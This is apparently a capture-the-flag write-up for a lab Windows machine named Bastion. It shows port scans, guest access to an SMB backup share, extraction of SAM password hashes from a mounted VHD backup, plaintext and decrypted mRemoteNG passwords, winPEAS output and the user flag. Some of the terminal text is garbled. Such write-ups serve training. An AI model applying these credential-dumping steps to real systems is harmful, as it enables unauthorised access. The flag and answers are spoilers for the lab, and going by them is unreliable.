Nmap stealth scan verbose all ports

```
[user@parrot]-[~/Desktop/burp]
   -- $sudo nmap -p- -sS bastion.htb -v
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-01 23:07 +08
Happy 24th Birthday to Nmap, may it live to be 124!
Initiating Ping Scan at 23:07
Scanning bastion.htb (10.129.194.204) [4 ports]
Completed Ping Scan at 23:07, 0.18s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 23:07
Scanning bastion.htb (10.129.194.204) [65535 ports]
Discovered open port 22/tcp on 10.129.194.204
Discovered open port 445/tcp on 10.129.194.204
Discovered open port 135/tcp on 10.129.194.204
Discovered open port 139/tcp on 10.129.194.204
Discovered open port 5985/tcp on 10.129.194.204
Discovered open port 49668/tcp on 10.129.194.204
Discovered open port 49670/tcp on 10.129.194.204
SYN Stealth Scan Timing: About 21.64% done; ETC: 23:09 (0:01:52 remaining)
Discovered open port 49664/tcp on 10.129.194.204
Discovered open port 49665/tcp on 10.129.194.204
SYN Stealth Scan Timing: About 43.83% done; ETC: 23:09 (0:01:18 remaining)
Discovered open port 47001/tcp on 10.129.194.204
SYN Stealth Scan Timing: About 65.96% done; ETC: 23:09 (0:00:47 remaining)
Discovered open port 49666/tcp on 10.129.194.204
Discovered open port 49669/tcp on 10.129.194.204
Discovered open port 49667/tcp on 10.129.194.204
Completed SYN Stealth Scan at 23:09, 136.93s elapsed (65535 total ports)
Nmap scan report for bastion.htb (10.129.194.204)
Host is up (0.52s latency)
rDNS record for 10.129.194.204: bastion
Not shown: 65522 closed tcp ports (reset)
        STATE SERVICE
         open ssh
open msrpc
22/tcp
135/tcp
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 137.26 seconds
           Raw packets sent: 65539 (2.884MB) | Rcvd: 65630 (2.628MB)
```

#### Nmap default scripts

```
-[user@parrot]-[~/Desktop/burp]
 --- $sudo nmap -sC -sV -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670
-sS bastion.htb -v
SNIPPED
          STATE SERVICE
                             VERSION
PORT
22/tcp
         open ssh
                             OpenSSH for Windows 7.9 (protocol 2.0)
| ssh-hostkey:
    2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
    256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
    256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp
        open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
 http-title: Not Found
47001/tcp open http
                              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
49664/tcp open msrpc
                             Microsoft Windows RPC
49665/tcp open msrpc
                            Microsoft Windows RPC
```

```
49666/tcp open msrpc
                            Microsoft Windows RPC
49667/tcp open msrpc
49668/tcp open msrpc
                             Microsoft Windows RPC
                             Microsoft Windows RPC
49669/tcp open msrpc
                             Microsoft Windows RPC
49670/tcp open msrpc
                             Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
    date: 2021-09-01T15:21:17
    start date: 2021-09-01T15:05:12
| clock-skew: mean: -39m57s, deviation: 1h09m14s, median: 0s
 smb2-security-mode:
   3.1.1:
     Message signing enabled but not required
| smb-os-discovery:
   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
    Computer name: Bastion
    NetBIOS computer name: BASTION\xspacex00
    Workgroup: WORKGROUP\x00
    System time: 2021-09-01T17:21:18+02:00
| smb-security-mode:
   account_used: guest
    authentication level: user
    challenge_response: supported
   message signing: disabled (dangerous, but default)
NSE: Script Post-scanning.
Initiating NSE at 23:21
Completed NSE at 23:21, 0.00s elapsed
Initiating NSE at 23:21
Completed NSE at 23:21, 0.00s elapsed
Initiating NSE at 23:21
Completed NSE at 23:21, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.26 seconds
           Raw packets sent: 17 (724B) | Rcvd: 15 (656B)
```

### Nmap udp

```
-[user@parrot]-[~/Desktop/burp]
  -- $sudo nmap -sU bastion.htb -v
Starting Nmap 7.92 (https://nmap.org) at 2021-09-01 23:07 +08
Happy 24th Birthday to Nmap, may it live to be 124!
SNIPPED
Completed UDP Scan at 23:24, 1028.38s elapsed (1000 total ports)
Nmap scan report for bastion.htb (10.129.194.204)
Host is up (0.17s latency).
rDNS record for 10.129.194.204: bastion
Not shown: 992 closed udp ports (port-unreach)
PORT STATE
                     SERVICE
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5050/udp open|filtered mmcc
5353/udp open|filtered zeroconf
5355/udp open|filtered llmnr
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1028.70 seconds
          Raw packets sent: 1456 (72.829KB) | Rcvd: 1027 (74.732KB)
```

## Smb enum

```
IPC Remote IPC

SMB1 disabled -- no workgroup available

[user@parrot]=[~/Desktop/burp]

$
```

Backup is writable as guest

```
[user@parrot]-[~/Desktop/burp]
 $\ \tag{\text{smbmap}} \ \text{-u guest -p '' -H bastion.htb} \ \text{[+] IP: bastion.htb:445} \ \text{Name: unknown} \ \text{Name: unknown} \ \ \text{Name
  [/] Work[!] Unable to remove test directory at \\bastion.htb\Backups\TZBUSCDPEJ, please remove
manually
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Permissions Comment
                                                   ADMIN$
                                                                                                                                                                                                                                                                                                                                                                                                                                NO ACCESS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Remote Admin
                                                   Backups
                                                                                                                                                                                                                                                                                                                                                                                                                                 READ, WRITE
                                                                                                                                                                                                                                                                                                                                                                                                                                 NO ACCESS
                                                   C$
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Default share
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Remote IPC
                                                   TPCS
                                                                                                                                                                                                                                                                                                                                                                                                                                 READ ONLY
          -[user@parrot]-[~/Desktop/burp]
```

Listing out files

```
[user@parrot]-[~/Desktop/burp]
   - $smbclient //bastion.htb/Backups
Enter WORKGROUP\user's password:
Try "help" to get a list of possible commands.
smb: \> dir
                                                   0 Wed Sep 1 23:27:34 2021
0 Wed Sep 1 23:27:34 2021
                                          D
                                          D
 note.txt
                                         AR
                                                 116 Tue Apr 16 18:10:09 2019
                                                 0 Fri Feb 22 20:43:08 2019
0 Wed Sep 1 23:27:34 2021
  SDT65CB.tmp
                                          Α
 TZBUSCDPEJ
                                          D
                                                    0 Fri Feb 22 20:44:02 2019
 WindowsImageBackup
                                         Dn
```

```
[user@parrot]-[~/Desktop/htb/bastion]

scat note.txt
```

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

```
[X]-[user@parrot]-[~/Desktop/htb/bastion]
   - $sudo mount -t cifs -o username=user "//bastion.htb/Backups" test/
Password for user@//bastion.htb/Backups:
SNIPPED
[user@parrot]-[~/Desktop/htb/bastion]
df: /run/user/1000/doc: Operation not permitted
Filesystem
                       Size Used Avail Use% Mounted on
                       7.8G 0 7.8G 0% /dev
1.6G 1.1M 1.6G 1% /run
udev
tmpfs
                       128G 25G 100G 20% /
/dev/sda1
                       7.9G 0 7.9G 0% /dev/shm
5.0M 4.0K 5.0M 1% /run/lock
tmpfs
tmpfs
/dev/sda1
                       128G 25G 100G 20% /swap
                       128G 25G 100G 20% /home
/dev/sda1
SNIPPED
                       1.6G 100K 1.6G
                                          1% /run/user/1000
tmpfs
//bastion.htb/Backups 30G 19G
                                   11G
                                         65% /home/user/Desktop/htb/bastion/test
```

## Mount vhd files

```
-[X]-[user@parrot]-[~/Desktop/htb/bastion/test/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
--- $sudo guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd
```

#### Copy system and sam

```
─[X]-[root@parrot]-[/mnt/vhd/Windows/System32/config]
```

### Extract hashes using samdump

```
-[X]-[user@parrot]-[~/Desktop/htb/bastion]
-- $samdump2 SYSTEM SAM -o hash.txt
```

#### Hashes

```
[user@parrot] = [~/Desktop/htb/bastion] $\times \text{cat hash.txt}$

*disabled*

Administrator: 500: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0::

*disabled* Guest: 501: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0::

L4mpje: 1000: aad3b435b51404eeaad3b435b51404ee: 26112010952d963c8dc4217daec986d9:::
```

### Cracked password for L4mpje

## SSH as l4mpje, flag -> 9bfe57d5c3309db3a151772f9d86c6cd

```
14mpje@BASTION C:\Users\L4mpje>cd Desktop
14mpje@BASTION C:\Users\L4mpje\Desktop>dir
 Volume in drive C has no label.
Volume Serial Number is OCB3-C487
Directory of C:\Users\L4mpje\Desktop
22-02-2019 16:27
                   <DIR>
22-02-2019 16:27
                  <DIR>
23-02-2019 10:07
                                32 user.txt
              1 File(s)
                                    32 bytes
              2 Dir(s) 11.320.467.456 bytes free
14mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt
9bfe57d5c3309db3a151772f9d86c6cd
14mpje@BASTION C:\Users\L4mpje\Desktop>
```

### Privilege checking

```
14mpje@BASTION C:\Users\L4mpje>net user L4mpje
User name
                             L4mpje
Full Name
                             L4mpje
Comment
User's comment
                            000 (System Default)
Country/region code
Account active
                             Yes
Account expires
                            Never
Password last set
                            22-2-2019 14:42:58
Password expires
Password changeable
                            22-2-2019 14:42:58
Password required
                            Yes
User may change password
                             No
Workstations allowed
                            All
Logon script
```

```
User profile
Home directory
                       1-9-2021 18:02:27
Last logon
Logon hours allowed
                       All
Local Group Memberships
                       *Users
                     *None
Global Group memberships
The command completed successfully.
14mpje@BASTION C:\Users\L4mpje>whoami /priv
PRIVILEGES INFORMATION
Privilege Name
                        Description
                                                  State
SeChangeNotifyPrivilege
                     Bypass traverse checking
                                                  Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

### Upload winpeas

### winpeas result

```
Searching executable files in non-default folders with write (equivalent)
permissions (permissions (can be slow)
Unhandled Exception: System.DllNotFoundException: Unable to load DLL 'wlanapi.dll': The
specified module could not be found. (Ex
ception from HRESULT: 0x8007007E)
  at winPEAS.Native.WlanApi.WlanCloseHandle(IntPtr clientHandle, IntPtr pReserved)
  at winPEAS.Wifi.NativeWifiApi.WlanClient.Finalize()
    File Permissions "C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-
1002\$RNTSJCP.bat":P.bat": Users [AppendData/Cr
eateDirectoriesl
    File Permissions "C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-
1002\$INTSJCP.bat":P.bat": Users [AppendData/Cr
eateDirectories]
    Menu\Programs\Startup\L4mpje-script.bat": L4mpje
[AllAccess]
    File Permissions "C:\Backups\winPEASx86.exe": Everyone [WriteData/CreateFiles],L4mpje
[WriteDatriteData/CreateFiles]
```

#### Creds, nothing useful

```
14mpje@BASTION C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002>type
$RNTSJCP.bat
NET USE Z: "\\192.168.1.74\Backups" /user:Peter 3RTTT5zNt2
```

### Password found in confCons.xml

# Crack password

```
[X]-[user@parrot]-[~/Desktop/htb/bastion/mRemoteNG-Decrypt]

$\text{python3 mremoteng_decrypt.py -s} aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/z05xDqE4HdVmHAowVRdC7emf71WWA10dQKiw== Password: thXLHM96BeKL0ER2
```

### Root.txt